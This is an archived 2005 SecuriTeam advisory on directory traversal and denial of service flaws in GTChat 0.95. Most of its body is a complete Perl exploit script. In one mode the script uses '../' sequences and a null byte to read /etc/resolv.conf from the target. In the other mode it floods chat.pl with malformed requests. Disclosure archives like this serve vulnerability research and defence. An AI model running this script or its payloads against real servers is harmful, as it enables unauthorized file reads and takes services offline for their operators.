

[EXPL] GTChat Remote Denial Of Service And Directory Traversal

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0097.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/25/05

To: list@securiteam.com

Date: 25 Aug 2005 12:10:21 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

GTChat Remote Denial Of Service And Directory Traversal

SUMMARY

<http://www.gtchat.de/welcome_en.xhtml> GT-chat is a fast and comfortable webchat application. Due to use of server push technology and working without a database like MySQL it uses only little server resources, which of course won't affect the performance.

A Directory traversal vulnerability exists in GTChat. GTChat is also vulnerable to denial of service by sending many chat requests sent to the server.

DETAILS

Vulnerable Systems:

* GTChat versions 0.95 and prior.

Exploit:

```
#!/usr/bin/perl
```

```
use LWP::Simple;
```

Securiteam: [EXPL] GTChat Remote Denial Of Service And Directory Traversal

```
if (@ARGV < 3)
{
    print "\nUsage: $0 [server] [path] [mode] [count for DoS]\n";
    print "sever - URL chat\n";
    print "path - path to chat.pl\n";
    print "mode - poc or dos,\n";
    print "poc - simple check without DoS and
exit,\n";
    print "dos - DoS, you must set count for requests
in 4 argument.\n\n";
    exit ();
}
$DoS = "dos";
$POC = "poc";
$server = $ARGV[0];
$path = $ARGV[1];
$mode = $ARGV[2];
$count = $ARGV[3];
print qq(

#####
# GTChat <= 0.95 Alpha remote
DoS #
# tested on GTChat 0.95 Alpha
#
# (c)oded by x97Rang 2005
RST/GHC #
# Respect: b1f, 1dt.w0lf, ed
#

##### );
if ($mode eq $POC)
{
    print "\n\nTry read file /etc/resolv.conf, maybe remote system
unix...\n";
    $URL =
sprintf("http://%s%s/chat.pl?language=../../../../../../../../etc/resolv.conf%00 HTTP/1.0\nHost:
%s\nAccept:*/*\nConnection:close\n\n",$server,$path,$server);
    $content = get "$URL";
    if ($content =~ /(domain|sortlist|options|search|nameserver|dhclient)/)
    { print "File read successfully, remote system is *nix and $server are
VULNERABLE!\n"; exit(); }
    if ($content =~ /Fatal error/)
    {
        print "File read failed, but *Fatal error* returned, $server MAYBE
vulnerable, check all output:\n";
        print "=== OUTPUT
=====
print "\n$content\n";
print
"=====
```

Securiteam: [EXPL] GTChat Remote Denial Of Service And Directory Traversal

```
OUTPUT ===\n";
    exit();
}
else { print "Hmm.. if you arguments right, then $server NOT vulnerable,
go sleep :)\n"; }
}
if ($mode eq $DoS)
{
if (!$count) { print "\nNeed count for DoS requests, you don't set it,
exit...\n"; exit() }
    print "\nSend $count DoS requests to $server...\n";
    $URL = sprintf("http://%s%schat.pl?language=chat.pl%00 HTTP/1.0\nHost:
%s\nAccept:*/*\nConnection:close\n\n",$server,$path,$server);
    for ($count_ov = 0; $count_ov != $count; $count_ov++) { $content = get
"$URL"; }
    print "Done, packets sended.\n";
}
}
```

ADDITIONAL INFORMATION

The information has been provided by x97Rang.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.